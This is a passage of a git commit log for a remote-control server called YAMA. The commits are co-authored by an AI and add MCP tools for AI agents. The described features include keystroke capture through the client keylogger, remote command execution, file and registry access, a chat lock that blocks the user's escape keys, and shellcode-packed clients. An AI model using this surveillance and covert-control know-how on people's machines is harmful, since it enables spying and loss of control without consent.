could never work because host ids are 64-bit snowflake values.

BuildResult now appends the serialized structuredContent as a second text
block, as the MCP spec recommends for tools with structured output. The append
sits in the single result choke point, so every tool in McpServer, McpMachine
and McpChat gains it, including future ones; empty action results such as
remote_mouse keep their bare "ok".

Tools whose text already carries the payload expose only the difference:
exec_command and terminal_exec add exit_code, get_keylog adds counters,
get_activity_history exposes records without the duplicated raw dump, and the
hosts file reader drops its copy of the content. The override rides in a $
key that BuildResult consumes and removes, so responses change only by the
extra block.

Verified on a Debug instance: list_all_hosts, search_hosts, get_server_status
and list_registry return parseable JSON in content[1] with ids intact, and
tools/mcp_smoke.ps1 -SkipHost passes 27/27 with four new assertions.

Co-Authored-By: deepseek-flash
2026-10-26 14:12:50 +01:00
yuanyuanxianganddeepseek-flash a7dd86ff0f Feature: Terminate TLS for the MCP endpoint inside YAMA
MCP was served by a plain httplib::Server, so remote clients could only use
cleartext HTTP. YAMA now terminates TLS itself: a small front-end owns the
MCP port, sniffs the first byte and either runs a Schannel handshake and
forwards the decrypted bytes or passes plaintext through, with httplib
moving to a loopback-only internal port. No OpenSSL, no frp change, existing
local HTTP clients keep working, and an unusable certificate fails closed
instead of falling back to cleartext.

The identity loader grew the two things a public certificate needs. ECDSA
(P-256/P-384/P-521) keys are persisted by importing PKCS#8 with an
NCRYPTBUFFER_PKCS_KEY_NAME parameter, the only route MS Software KSP
supports for Schannel; RSA keeps its old export-and-repersist path.
Fullchains are accepted, and the intermediates are added to the current
user's CA store so Schannel, which builds chains only from system stores,
actually sends them. The shared handshake also now buffers a full TLS
record before the first AcceptSecurityContext, which a partial ClientHello
would otherwise poison (SEC_E_UNKNOWN_CREDENTIALS).

Session resumption exposed a second trap: when a client resumes a session,
ChangeCipherSpec, Finished and the first application record arrive in one
segment and AcceptSecurityContext leaves the application record pending in
the session. Nothing drained it, because both callers only decrypt when new
ciphertext arrives, so the request waited until the peer gave up (the MCP
front-end saw no request at all and the client reported "fetch failed
(other side closed)"; the device port had the same hole behind its
occasional login timeouts). Decrypt now drains pending data on len == 0, and
both the front-end and the device port's handshake thread use it before
entering their receive loops.

Configuration is McpHttps, McpCertPath, McpKeyPath and McpInternalPort, the
first three editable in the MCP settings dialog (the certificate rows stay
greyed out until HTTPS is enabled and saving rejects missing files).

Verified with a real Let's Encrypt ECDSA fullchain (53 tools over TLS, 401
with no or bad token), a local three-level chain whose intermediate was
absent from the store, Node 24's fetch on a resumed session (initialize,
notifications/initialized and tools/list all complete), and the device
port's RSA handshake as a regression check. Details in docs/Mcp_Design.md
section 13.

Co-Authored-By: deepseek-flash
2026-10-26 13:56:41 +01:00
yuanyuanxianganddeepseek-flash b4cb34fea9 Fix: Stop MCP tool timeouts from popping MFC dialogs
A sub-connection's first packet doubles as the readiness packet: the file,
service, registry, process, log and terminal tools all get answered that way.
Once a tool has given up (timeout or failure) its pending entry is gone, so if
the client only gets around to sending that first packet afterwards,
MessageHandle cannot tell it apart from a human click and opens the matching
modeless dialog - a File Manager window appeared while timeouts were being
exercised on this machine.

The wait paths now record, per device, which first-packet token the abandoned
tool would have sent (MarkLateFirstPacketForTool from WaitPending,
WaitPendingRegistry, WaitPendingWrite, WaitFileTransferDone and
WaitTerminalReady), and every dialog-opening case consumes that marker before
falling back to the MFC path. The marker is one-shot, expires after five
minutes and is never set on the success path, so normal use is unaffected; the
worst case is that a single manual open on a host that just had an MCP timeout
is swallowed.

ClientMsg packets are dropped with a log line while a tool is pending for that
host: new clients still send the legacy popup message alongside the structured
failure token, which would otherwise put a modal box on the server UI during an
MCP call.

Co-Authored-By: deepseek-flash
2026-10-25 18:12:56 +01:00
yuanyuanxianganddeepseek-flash 1456882f16 Docs: Record the structured failure protocol and -32010
Spell out the new token layout and who sends it, add -32010 to the error
table, and narrow -32008 to parameter validation now that capability
limits report -32005. Document McpToolTimeoutMs as an ini-only key and
correct the note about where the list_files 500-entry cap is applied.

Update the remote-control design and the test report so P2, P6 and P8
show as fixed with the measured evidence.

Co-Authored-By: deepseek-flash
2026-10-25 17:59:24 +01:00
yuanyuanxianganddeepseek-flash 3b1626f415 Feature: Turn client failure reports into branchable MCP errors
Wire the four new failure tokens into MessageHandle and translate them
in the tool builders, so the three previously silent failures now return
a code an agent can branch on: list_services on a non-elevated client is
-32010 in well under a second instead of a 20 s timeout, list_files and
list_registry distinguish a missing path or key (-32009) from an empty
one, and download_file no longer waits for the stall watchdog when the
remote path does not exist. Access denied gets its own code, -32010, and
the win32 code is kept in the message for every case.

TakeRegError fills both registry wait flags in one packet because a
failing client sends no subkey or value packet at all. OnDownloadError
sets the session error without cancelling the file-manager sub-connection,
which stays owned by ClearFileTransfer. ListRemoteTopLevelNames treats
"not found" as "directory not created yet" so uploading into a fresh
directory keeps working now that the client reports it.

Also converge the error codes that were overloaded: a multi-monitor host
is a capability limit, not a parameter mistake, so remote_open reports
-32005 instead of -32008. The tool wait timeout moves from a compile-time
constant to McpToolTimeoutMs in settings.ini (default 20000, clamped to
1-600 s), which makes it possible to tune without a rebuild.

The smoke test gains the three reproducible negatives.

Co-Authored-By: deepseek-flash
2026-10-25 17:59:21 +01:00
yuanyuanxianganddeepseek-flash 315a0855dc Feature: Let the client report structured failures for MCP tools
Four new client-to-server tokens carry a win32/LSTATUS code when a
command fails instead of returning empty data: TOKEN_SERVICE_ERROR
(170), TOKEN_FILE_LIST_ERROR (171), TOKEN_REG_ERROR (172) and
TOKEN_DOWNLOAD_ERROR (173). They sit on byte values that were unused,
so existing numbering is untouched.

The three data paths that used to collapse "failed" and "empty" into
the same packet now distinguish them: OpenSCManager failures, directory
enumeration failures and RegOpenKeyEx failures all report the code that
was actually returned, and UploadToRemoteV2 reports why it found no
file to transfer before the transfer sub-connection is ever created.

Every failure branch still sends the packet the old server expects
(TOKEN_FILE_LIST, the empty TOKEN_REG_PATH/KEY pair, the ClientMsg
popup), so a new client talking to an old server degrades to exactly
today's behaviour instead of timing out. Success paths are byte-for-
byte unchanged.

Co-Authored-By: deepseek-flash
2026-10-25 17:59:17 +01:00
yuanyuanxianganddeepseek-flash eaa10cc7d3 Fix: Make the MCP command sentinel robust and fail stalled downloads fast
Re-verified every finding of the 2026-10-25 MCP test report against the source and
then end-to-end on the Debug instance, and fixed the ones that live on the server.

P1/P3/P4 share one root cause: the sentinel was appended to the command line, so any
command that swallows the rest of its line (rem, cmd /c, if, for) swallowed the
sentinel too and the call always timed out. On ConPTY clients the command and the
sentinel are now sent as two lines, the sentinel prints %errorlevel% (whose echoed
text is a literal template, not digits) so folding echo can no longer be mistaken
for the sentinel, and FindSentinel returns the real exit code (9009, 1, 0, ...)
instead of 0/1. Old non-PTY clients keep the single-line form, since their echo
skipping depends on the write length.

ConPTY also returns a rendered screen stream rather than a byte stream, so stripped
VT sequences leave duplicate text behind; output cleaning now cuts through the
echoed command line, strips the echoed sentinel line and erases any leftover
sentinel text by its per-command nonce. StripAnsi no longer leaves the backslash of
an OSC terminated by ST.

A terminal session destroyed by a timeout used to report the same "not found" text
as a typo in the session id; a 600s tombstone now says what happened instead.
download_file gets a stall watchdog: no data for 60s fails with a clear message and
releases the host, where a missing remote path used to hold the whole host for the
full 600s default timeout.

Also corrects the get_activity_history annotation (it does reach the remote host),
completes the -32007/-32008/-32009 error table, documents the sentinel design in
Mcp_Design.md 12.1, and corrects the report's claim that the tools blocked during a
transfer are local DB reads -- they are remote machine-manager fetches, and purely
server-local tools are unaffected.

Co-Authored-By: deepseek-flash
2026-10-25 17:09:39 +01:00
yuanyuanxianganddeepseek-flash 1c5fab1645 Fix: Stop the client dropping chat messages that begin with e
CChatManager::OnReceive opened with the same heartbeat guard the other
managers use, `if (szBuffer[0] == TOKEN_HEARTBEAT) return;`, before it
looked at the length. TOKEN_HEARTBEAT is 101, which is also the letter e,
and this channel carries free text rather than command bytes, so every
message starting with e -- "echo", "error", anything -- was silently
discarded. The sender never learned: the server's chat dialog had already
written the text into its own log, so the two sides disagreed about what
was said.

The guard is dead code here. Heartbeats travel on the main connection
only, as a multi-byte [101][Heartbeat] packet consumed by the main
dispatcher; the server never sends one on a chat sub-connection. Delete
it and keep the length check that follows.

The server keeps prepending a space when the GBK payload starts with
101, because already-deployed clients still carry the guard and losing
the message outright is worse than an invisible leading space. Note the
same guard, harmless today, still sits in the machine, file, proxy and
screen-hide managers.

Verified with the Debug instance and a local Debug client: with the
server's space temporarily disabled, chat_send "echo test" and
"second line" both showed up verbatim in the client dialog (read back
with WM_GETTEXT); with the space restored the first arrives as
" echo test". Details in docs/Mcp_Chat_Design.md section 5.

Co-Authored-By: deepseek-flash
2026-10-25 14:57:47 +01:00
yuanyuanxianganddeepseek-flash cc3e11d30d Improve: Cover protocol and policy error codes in the MCP smoke test
The suite only exercised the happy paths, so a regression in the
negative paths -- unknown method, unknown tool, a missing required
argument, an oversized batch or a policy refusal -- would have gone
unnoticed. Add those checks alongside a section that reads the switches
from get_server_status, picks a feature that is actually turned off and
asserts its tool answers -32006; with every switch on it skips rather
than guessing, and with -AuditLog it also asserts the refusal shows up
as CALL_DENIED.

Document the full error-code table in section 12, including which codes
mean "retry with different arguments" and which mean "this is a policy
decision, retrying is pointless", and note that a batch call never
fails as a whole for per-host errors.

Verified against the Debug instance with McpKeylog temporarily set to
zero: get_keylog refused with -32006 and the audit log gained the
matching CALL_DENIED line, 34 checks passing; with the switch restored
32 pass, and 37 with a search path.

Co-Authored-By: deepseek-flash
2026-10-25 14:44:45 +01:00
yuanyuanxianganddeepseek-flash 7c5bf3e73d Feature: Filter search_file results by size, mtime and slim fields
Add four optional arguments to search_file that narrow the match list
after the client has returned it: min_size and max_size in bytes,
modified_after in either YYYY-MM-DD or YYYY-MM-DD HH:MM:SS form, and
name_only to keep just path and name per entry. The client still runs
the same name-matched recursive search, so these filters cut the
response size and the reasoning work on our side, not the scan time on
the host -- the summary sentence says so and totalAll keeps the
pre-filter count so a too-narrow condition is obvious. Invalid values
(negative sizes, an inverted range, a malformed timestamp) are rejected
with -32602 before any packet goes out.

The timestamp validator only accepted the ten-character form because
its shape loop never allowed the two colons, which rejected every
nineteen-character value; the loop now whitelists them.

Smoke tests cover the unchanged totalAll under a size filter, the slim
name_only payload and a rejected timestamp, for 33 checks when the
search path is supplied. Design notes are in section 11.4.

Co-Authored-By: deepseek-flash
2026-10-25 14:41:52 +01:00
yuanyuanxianganddeepseek-flash 929065e7be Feature: Filter the MCP host lists by group, OS and client type
list_online_hosts and list_all_hosts could only page, so finding "the
hosts in this group" or "the Linux ones" meant walking pages or falling
back to search_hosts, which has no client type filter and treats online
and offline hosts differently.

Both tools now accept group, os and client_type. They are substring
matches, combined with AND and case-insensitive over ASCII, matching the
semantics search_hosts already used, and the shared implementation keeps
the two tools from drifting apart. The filter runs before paging, so
total counts the matches and totalAll keeps the pre-filter size, and the
summary switches to the "matches" wording with a trailing line naming
the unfiltered size - a mistyped condition then shows up immediately
instead of silently returning nothing.

Offline hosts carry no clientType in their stored record, so a
client_type filter never matches them; the tool description says so and
points at os for that case.

Verified on the Debug instance: client_type=exe matches the single EXE
host while client_type=lnx matches nothing and still reports totalAll=1;
list_all_hosts with group=default matches all 3161 recorded hosts and
splits them into 1 online and 3160 offline, and os=zzz matches none. The
smoke test gains two checks and passes 28/28.

Co-Authored-By: deepseek-flash
2026-10-25 14:37:28 +01:00
yuanyuanxianganddeepseek-flash 5ce453797c Feature: Add a get_server_status tool to the MCP server
Answering "did my rebuild actually take effect" or "why was that tool
refused" used to mean reading list_online_hosts and get_audit_log and
inferring the rest. A single read-only call now returns the server's own
state: brand and version, the exe link time (taken from the file's last
write, which unlike __DATE__ reflects the whole build), how long the
process has been up, the address and port MCP is actually listening on,
every MCP switch, online and offline host counts, the number of sessions
in flight per family, and how many source IPs are currently blocked.

The bind and port are recorded by Start rather than re-read from the
configuration, so the tool reports what the listener really got. Session
counters take each subsystem's lock in turn and release it immediately,
so the numbers are an estimate of one moment, not a consistent snapshot.
Nothing sensitive is exposed: the token and the command whitelist never
appear, and the switches are reported as booleans only.

The tool is registered as read-only, non-destructive, idempotent and
server-local, which brings tools/list to 53 entries. The smoke test gains
three checks for it, including one that fails if a token-shaped field
ever appears in the output.

Verified on the Debug instance: the summary line reports version, uptime
and listener correctly, sessions.terminal goes 0 to 1 while a persistent
terminal is open and back to 0 after terminal_close, and the smoke test
passes 26/26.

Co-Authored-By: deepseek-flash
2026-10-25 14:35:19 +01:00
yuanyuanxianganddeepseek-flash ae37e812ee Feature: Page and filter the MCP audit log tool
get_audit_log used to hand back every entry in the main window's message
mirror on each call. The mirror is a 1000-entry ring buffer, so a busy
server returned a lot of text the caller never looked at, and there was
no way to ask for just the MCP entries or just the ones mentioning a
particular subject.

The tool now takes the same limit/offset pair as the other list tools
and two optional substring filters: type matches the type column and
keyword matches the message text, both case-insensitive. Filtering runs
before paging, so total counts the matches while totalAll keeps the size
of the whole mirror, and the summary line adds the pre-filter count when
a filter is in use so a typo is easy to spot. The GBK to UTF-8
conversion moved into the filter loop so the comparison happens between
strings in the same encoding, still under the dialog's critical section.

The output schema gains total/totalAll/offset/limit/hasMore, and the
smoke test now asserts the paging fields, the limit bound and an empty
result for a filter that cannot match, bringing it to 23 checks.

Verified on the Debug instance: limit=2 returns entries 1-2 then 3-4
with hasMore set, offset=999 reports the out-of-range text, type=mcp
matches the "MCP命令执行" entry, type=提示 matches both hint types and
keyword=监听 matches the listening-port line.

Co-Authored-By: deepseek-flash
2026-10-25 14:31:14 +01:00
yuanyuanxianganddeepseek-flash d9a1a9ebcb Fix: Record policy refusals in the MCP audit log
Every policy denial - read-only mode, one of the Mcp* switches turned
off, or a host that lacks the required capability - answers -32006. The
audit log only ever showed CALL_FAIL for those, which lumped them
together with parameter errors, offline hosts and timeouts, so after the
fact there was no way to tell "nobody called this" from "it was blocked
by policy".

The hooks all live in one place: the tools/call exit in the HTTP
handler now also reads error.code and error.message from the response it
already parses, and appends a CALL_DENIED event when the code is -32006.
The original CALL_FAIL line is still written, so its statistics keep
their old meaning, and the reason text is the fixed English sentence
each branch already returns - no tool arguments or user input reach the
log. Tool names taken from the request are flattened to a single line
first, both in the denied event and in the existing CALL_OK/CALL_FAIL
lines, so a crafted name cannot forge extra audit rows.

Also refresh the stale note in the design document that still called the
client search MAX_PATH overflow unfixed; the source was fixed in
8f718d9, but already-deployed clients still carry it, which is why the
smoke test keeps its search cases opt-in.

Verified on the Debug instance: with McpFileTransfer temporarily set to
0, download_file returns -32006 and the audit log gains the expected
CALL_DENIED line right after its CALL_FAIL; with the switch restored the
same call is CALL_OK again and no denied line appears. The read-only
smoke test passes 20/20.

Co-Authored-By: deepseek-flash
2026-10-25 14:28:16 +01:00
yuanyuanxianganddeepseek-flash 16f23e164c Fix: Clear the file transfer session when its sub-connection drops
A file transfer session holds raw pointers to its file-manager and
stream sub-connections, but nothing on the offline path looked at them.
OfflineProc cleans up terminal, remote-control and chat sessions and
skipped file transfers entirely, so a client that disconnected in the
middle of a transfer left the session pointing at a context that went
back to the connection pool. When the tool thread timed out it called
CancelIO on that stale pointer, which could cancel somebody else's
connection.

Add a context-to-device table next to the sessions, kept under the same
mutex and erased by ClearFileTransfer so a recycled pointer is never
mistaken for a live one. OfflineProc now calls
OnFileTransferContextClosed, which drops both pointers. A dropped
stream sub-connection means the transfer cannot complete, so it also
fails the session with error 1003 and wakes the waiting thread; the
file-manager sub-connection only issues the command and its loss is not
treated as a failure of the transfer itself.

Verified against the debug client: killing it 1.2 s into a 500 MB
download returns "Connection lost: the transfer sub-connection closed"
after about 1 s instead of waiting out timeout_ms, and the server stays
up. After the client restarts, two consecutive downloads and one upload
still work.

Co-Authored-By: deepseek-flash
2026-10-25 14:20:13 +01:00
yuanyuanxianganddeepseek-flash 39f0928de7 Fix: Finish a directory-only download instead of waiting for the timeout
The completion check compared filesDone against totalFiles minus
directoryCount and only ran on COMMAND_FILE_COMPLETE_V2. The client
sends no COMPLETE for directory entries, so a download of an empty
directory, or of a tree that holds only subdirectories, had zero
expected files and could never satisfy the check. The call sat there
until timeout_ms expired (600 s by default) and then reported 1002.

Mark the session done as soon as the directory entries account for
every entry the client declared. Verified with the debug client: an
empty directory returns in 0.2 s with zero files, a tree of nested
subdirectories returns in 0.2 s with the directories created, and a
directory holding three files still downloads them with the same
sizes and hashes as before.

Co-Authored-By: deepseek-flash
2026-10-25 14:16:46 +01:00
yuanyuanxianganddeepseek-flash 8f718d9b39 Fix: Stop the client file search from overflowing its path buffers
SearchFilesRecursive built "%s\*.*" and "%s\%s" with wsprintf into
char[MAX_PATH] buffers and never checked the lengths. The recursion
allows 32 levels, so a search from a drive root accumulates paths well
past 260 characters and writes off the end of the stack frame. Debug
builds raise Run-Time Check Failure #2 and the dialog blocks the search
thread; release builds corrupt the stack silently.

Check the length before each build and skip the entry when the full
path does not fit, so neither the name nor the recursion below it is
recorded. The root directory is checked once at function entry, which
also stops an over-long root from being enumerated at all.

Apply the same guard to the directory listing paths in both file
managers, and bound the search pattern built from the incoming keyword.
Zero-initialize the buffers filled by ExpandEnvironmentStringsA so a
failed expansion is treated as an empty path instead of reading
uninitialized stack.

Verified against the debug client with a full C:\ scan (10,000 results,
finished, no dialog) and a repeated deep search afterwards.

Co-Authored-By: deepseek-flash
2026-10-25 14:05:25 +01:00
yuanyuanxianganddeepseek-flash abe7e99a77 Feature: Harden the MCP transport and add non-destructive host tools
Cap MCP request bodies at 2 MB, set a 15 s idle read timeout and a 60 s
write timeout, and give httplib an explicit 32-thread pool: long tools
such as chat_wait hold a worker for up to 55 s, and the default pool of
8 to 15 left other callers queued.

Every tool returned by tools/list now carries readOnlyHint,
destructiveHint, idempotentHint and openWorldHint. The table is
per-tool; anything not registered defaults to destructive so a new
write tool cannot silently look harmless. Read-only tools are forced
to destructiveHint=false.

get_host_detail appends the technical fields the host store already
holds (cpuCores, memoryGB, systemBits, programBits, user, isAdmin,
installTime, expiredDate, monitors, exeVersion, clientPath, pid,
publicIp). The JSON writer is pinned to 15 significant digits so
memoryGB renders as 27.8 instead of 27.800000000000001. list hosts
output is unchanged.

Add host_set_remark and host_set_watch_level. Both validate the host
against the store, are refused in readonly mode, repaint the affected
row, and are audited without recording the value written.

Add search_file, which drives the client file-manager search channel
and returns paged results. The root path is normalized before sending:
the client enumerates with wsprintf("%s\*.*"), so a trailing
backslash produced C:\*.* and FindFirstFile failed, returning zero
hits instantly. The client only searches recursively, so non-recursive
requests are filtered server-side by comparing the parent directory.
Collection stops at 5000 records or 4 MB and the client is told to
stop; on timeout the partial results are returned. Search result
packets are never closed early: the sub-connection stays open until
TOKEN_SEARCH_FILE_FINISH, because the client's search thread holds a
pointer into the file manager object.

Batch reads report a skipped counter and are bounded to 50 ids and a
50 s deadline.

Add tools/mcp_smoke.ps1, a read-only end-to-end smoke test that asserts
auth rejection, the payload limit, annotation coverage, paging fields
and the main read tools. It takes the token from the environment and
never prints it.

Document all of the above in docs/Mcp_Design.md section 10, including
the client-side MAX_PATH stack overflow that a deep search_file call
can trigger, together with the workaround of searching shallow
directories.

Co-Authored-By: deepseek-flash
2026-10-25 13:59:17 +01:00
yuanyuanxianganddeepseek-flash ac5b174b5f Feature: Add offline hosts, batch reads and MCP hardening
Expose hosts the server already knows about. list_all_hosts enumerates
both live contexts and the historical records in the client list, with
authStatus as a three-state string instead of a boolean. search_hosts
now honours online=false instead of returning an empty list, while the
default stays online-only so existing callers see the same results.
get_host_detail falls back to the last known record for an offline host
rather than failing with -32002.

Let read-only tools take an ids array of up to 50 hosts in one call.
The batch path reuses the single-host dispatcher and pages per host, so
behaviour cannot drift; write tools reject ids with -32602 so a mistake
cannot fan out across machines.

Add get_keylog behind its own McpKeylog switch. It drives the client's
existing keylogger sub-connection, accumulates the streamed text for a
bounded window and byte cap, then closes the sub-connection and returns
UTF-8 lines. The client pushes its buffered history first, so a result
contains both history and fresh keystrokes; the tool description says so.

Harden the endpoint. Failed bearer checks are counted per source IP and
ten failures within a minute block the IP for fifteen minutes. Auth
failures and tool calls append to logs\mcp_audit.log with metadata only:
no token, no arguments, no response bodies, and rotation at 5 MB. Loopback
sources are audited but never blocked, because the built-in frp tunnel
makes every remote request arrive from 127.0.0.1 and banning that address
would lock out legitimate clients along with the attacker.

Give list-style tools one pagination contract (limit/offset plus
total/totalAll/hasMore) and fix the generated schemas so id and ids are
genuine alternatives: the stale required:[id] left over from the
single-host schema would otherwise reject ids-only calls.

Co-Authored-By: deepseek-flash
2026-10-25 12:44:45 +01:00
yuanyuanxianganddeepseek-flash cc0e4bbd7a Fix: Pass win keys down the hook chain while a chat is locked
During a locked chat the client installs a WH_KEYBOARD_LL hook that
swallows Alt+Tab, Alt+F4, Alt+Esc, Ctrl+Esc and the Win keys, so the person
sitting at the machine cannot get out of the lock. The hook returned 1
without calling CallNextHookEx. Low-level hooks run last installed first,
and this one is installed later than the server's hotkey forwarding hook,
so it sits in front of it: returning 1 ended the chain and the forwarding
hook never saw those keys. With YAMA running on the same machine as the
client, Win shortcuts stopped reaching the remote host for as long as the
lock was up.

The event is now passed down the chain before it is swallowed.
CallNextHookEx hands the event to the other hooks only, not to the system
or the shell, so the local shell is still blocked and the lock behaves
exactly as before, while the forwarding hook can see the key and act on
it.

Co-Authored-By: deepseek-flash
2026-10-25 02:40:30 +02:00
yuanyuanxianganddeepseek-flash 73aa2725b9 Fix: Pick an MSBuild instance that has ATL, not the first found
build.ps1 took the first MSBuild.exe matching a hardcoded glob under
%ProgramFiles% / %ProgramFiles(x86)%. On a machine that has both a
command-line build tools instance and an IDE, that is the build tools one.
It ships the v142 compiler, but ATL is a separate optional component there,
so the link step failed with LNK1104 on atls.lib while the same sources
built cleanly in the IDE whose instance carries ATL. The vswhere lookup
meant to cover installations on other drives never ran, because the glob
had already matched.

Candidates are now validated against VC\Tools\MSVC\*\atlmfc\lib\x86\atls.lib
before being accepted, every rejected instance is reported, and the vswhere
lookup enumerates all instances and applies the same check, so an
installation on another drive is found as well. When no instance carries
ATL the first candidate is still used, with a warning, which keeps the
previous behaviour and lets MSBuild emit the more specific error.

The script is also saved as UTF-8 with BOM: Windows PowerShell 5.1 reads a
BOM-less UTF-8 script as ANSI, which turns some Chinese comment characters
into a trailing backtick and swallows the following line.

This commit also carries the pending build script work: the Go server
builder, the -ClientOnly fast path, and the serverd / client debug presets
in build.cmd. Skills.md documents the two new presets.

Co-Authored-By: deepseek-flash
2026-10-25 02:38:46 +02:00
yuanyuanxianganddeepseek-flash 37d0297f07 Fix: Keep the keylogger thread pumping so the hook chain stays alive
The low-level keyboard hook callback runs only while the thread that
installed it pumps messages, but KeyLogger() gated PeekMessage on
IsConnected(). With offline recording enabled (kbrecord=Yes) and no
keyboard sub-connection, the hook stayed installed while its thread
never pumped, so every keystroke on the machine stalled against
LowLevelHooksTimeout (300 ms by default) and the hook was eventually
dropped by the system. Because the client installs its hook after YAMA
installs its own, the client's hook sits in front of YAMA's in the
chain, and the starved events broke the key pairs YAMA needs: Win
shortcuts and Ctrl+V forwarding stopped working while ordinary typing
was unaffected.

Pump messages unconditionally; this code is only reached while the hook
is installed, and the offline-record path installs it even without a
keyboard sub-connection.

Co-Authored-By: deepseek-flash
2026-10-25 02:22:17 +02:00
yuanyuanxianganddeepseek-flash 7160ea8f42 Fix: Stop the online-host list header from flickering
The list header is a child window of the list view, and
LVS_EX_DOUBLEBUFFER only covers the item area. The list view was created
without WS_CLIPCHILDREN, so every whole-list Invalidate or RedrawWindow
also erased the header with the class background brush before repainting
it. On top of that, AdjustColumnWidths ran on every WM_SIZE and issued an
unconditional SetColumnWidth per column, and each call repaints the
header. The result was an occasional one-frame blink of the header row:
irregular, low frequency, and confined to the header because the item
area is double-buffered.

Both lists now carry WS_CLIPCHILDREN, RDW_ALLCHILDREN was dropped from the
redraw calls that only need the list body (that flag forces child
repaints even when they are clipped), and column widths are only set when
they actually change.

The header still needs its background erase, but only for the strip to
the right of the last column: AdjustColumnWidths reserves 20px there and
the header's own paint stops at the last column, so that strip is colored
by WM_ERASEBKGND alone. Skipping the erase entirely left it black after a
minimize/restore cycle, when the window contents are discarded. The
header subclass now fills just that strip with COLOR_3DFACE and leaves the
column area untouched, which keeps the flicker fix, and the needRefresh
branch of OnSize forces an erase-redraw of the header so the strip is
repainted on minimize/restore and maximize/normalize.

Verified with a standalone probe that mirrors the list setup for the
header erase counts, and by rebuilding the app and checking the
minimize/restore case reported against the first version of this change.

Co-Authored-By: deepseek-flash
2026-10-24 15:45:49 +02:00
yuanyuanxianganddeepseek-flash 434812f87d Fix: Show the instant-message popup on packed clients
Clients packaged as SC_AES/sRDI shellcode run the payload image as raw
shellcode inside the loader stub, so the instant-message manager was
handed the stub's module handle. The stub's resource section carries no
IDD_DIALOG, and Windows rejects resource APIs on manually mapped images,
so DialogBoxParamA failed (error 1812 on Windows 11) and the bottom-right
popup never appeared after the operator sent a message.

The popup now falls back to an embedded compiled dialog template
generated from the IDD_DIALOG block in Script.rc and verified
byte-for-byte against the resource in the built ghost.exe. When the
resource lookup fails, the dialog is created with
DialogBoxIndirectParamA instead. Deployments where the resource lookup
already works keep the original path unchanged.

The incoming text is now terminated at the copied length. The server
sends the message body without a trailing NUL, so a message that filled
the 1024-byte buffer left SetDlgItemText reading past the end.

The title is now set with SetWindowTextW before the window is shown.
DialogBoxParamA converts the template's UTF-16 caption through the
system ANSI code page, so the Chinese title turned into "???" on 1252
systems (verified locally with a caption containing a character outside
CP936). The title follows the UI language: Chinese systems keep the
Chinese title, everything else shows "Message". The message body still
uses the ANSI path, preserving the existing per-ACP semantics.

Co-Authored-By: deepseek-flash
2026-10-23 12:22:44 +02:00
yuanyuanxianganddeepseek-flash c99a1c375e Feature: Add MCP tools for remote chat with the client user
Add chat_open, chat_send, chat_wait and chat_close to the MCP tool set,
behind a new McpChat switch that defaults to off and is independent of
the read-only switch. The tools reuse the existing client chat link: the
main connection sends COMMAND_CHAT, the client opens a sub-connection
with TOKEN_CONN_AUTH and TOKEN_CHAT_START, the server answers with
COMMAND_NEXT_CHAT, and both directions then carry raw CP936 text.

Sessions are per host and held in shared pointers under their own mutex,
so a waiting chat_wait survives a close or a dropped sub-connection, and
chat_send is serialised per session. Text is converted strictly between
UTF-8 and CP936: invalid UTF-8, characters GBK cannot represent (emoji,
accented letters) and messages over the client's 4000-byte buffer are
rejected with -32602 instead of being mangled. A one-second settle delay
after the sub-connection binds keeps the first message from reaching the
client before its chat window exists.

The routing hooks run before the host-management hooks in MessageHandle
and clear the route in OfflineProc before the context leaves the list. A
five-second tombstone absorbs a late TOKEN_CHAT_START after a timeout, so
a failed chat_open does not pop the MFC chat dialog. Idle sessions are
swept on every tool call, and audit entries record the session id and
byte counts only, never message bodies.

The settings dialog gains the chat checkbox and the translated labels
for all three languages, and the strict UTF-8 to CP936 helpers move from
McpMachine.cpp to McpInternal so both tool families can share them.

Co-Authored-By: deepseek-flash
2026-10-23 11:19:21 +02:00
yuanyuanxianganddeepseek-flash fff7c67af6 Fix: Make the remote chat dialog Unicode and loader-independent
Clients packaged as SC_AES/sRDI shellcode run the payload image as raw
shellcode inside the loader stub, so the chat manager was handed the
stub's module handle. The stub's resource section only carries a
manifest, and Windows resource APIs reject manually mapped images
outright, so creating IDD_CHAT failed and the chat thread exited before
the window ever existed.

The chat window now falls back to an embedded compiled dialog template
that is byte-identical to the IDD_CHAT resource, and the title-bar icon
is rebuilt directly from the module's own resource directory instead of
LoadIcon, bypassing the loader on both paths. The PE walking code checks
every offset against SizeOfImage and the resource directory size, so a
malformed or truncated image returns NULL instead of faulting.
Deployments where the resource lookup already works keep the original
code path unchanged.

The dialog is now created and driven with the wide-character API. The
client is still an MBCS build, but an ANSI dialog renders text with the
system code page, so GBK chat text turned into mojibake on German and
other non-936 systems. Incoming text is converted CP936 to UTF-16 and
outgoing text strictly back to CP936; characters GBK cannot represent
(emoji, accented letters) are refused with a visible notice instead of
silently becoming '?'. Static labels follow the system UI language, and
IDD_CHAT now uses the scalable MS Shell Dlg face so font linking can
supply CJK glyphs.

The window is now positioned explicitly as well. DS_CENTER in the
template put it at the work area origin on the three-monitor host: the
centred position came out negative there and Windows clamps out-of-range
creation coordinates to that origin. It is centred in the work area of
the monitor under the cursor instead, falling back to SPI_GETWORKAREA.

Teardown no longer leaves a hidden window behind either. The dialog
thread blocked in GetMessageW and never saw m_bRun cleared, while the
destructor waited for that thread before sending the message that would
have destroyed the window, so a close command that never arrived (the
sub-connection already gone, or WaitSendIdle timing out before CancelIO)
leaked the window, the dialog thread and the manager loop. The
destructor now destroys the window first, the loop checks m_bRun before
blocking, and it destroys the window itself if it exits first.

Co-Authored-By: deepseek-flash
2026-10-23 11:19:21 +02:00
yuanyuanxianganddeepseek-flash 3ae6298746 Fix: Align macOS mouse coordinates with the captured display
The macOS client derived its logical screen size from [NSScreen mainScreen]
while it captured CGMainDisplayID. In clamshell mode with an external display
the former can still report the disabled built-in panel (1470x956) while the
captured frame is 1280x1024, so every injected point was scaled by
logical/encode and drifted linearly with the distance from the top left
corner, independently on each axis. Take the logical size from
CGDisplayBounds of the captured display instead, and report the same bounds
in the login resolution.

For hosts that still run the old client, the remote desktop dialog gains a
per-host mouse calibration in its system menu. The factors are stored by
client ID together with the reported resolution and the captured frame size,
so they stop applying once the client is upgraded or a different display is
captured, and come back automatically when the original display returns.
When no calibration has been saved the dialog pre-fills the factors from
frame/reported, but only for macOS clients, because the other clients derive
their conversion from the captured display itself and a mismatching report
there would be misleading.

Co-Authored-By: deepseek-flash
2026-10-22 11:33:39 +02:00
yuanyuanxianganddeepseek-flash 38cd207f5d Feature: Add host management and connection management MCP tools
Expose the online-list TLS column through list_online_hosts, search_hosts
and get_host_detail. The value comes from the flag the client reports at
login, so old clients always read false.

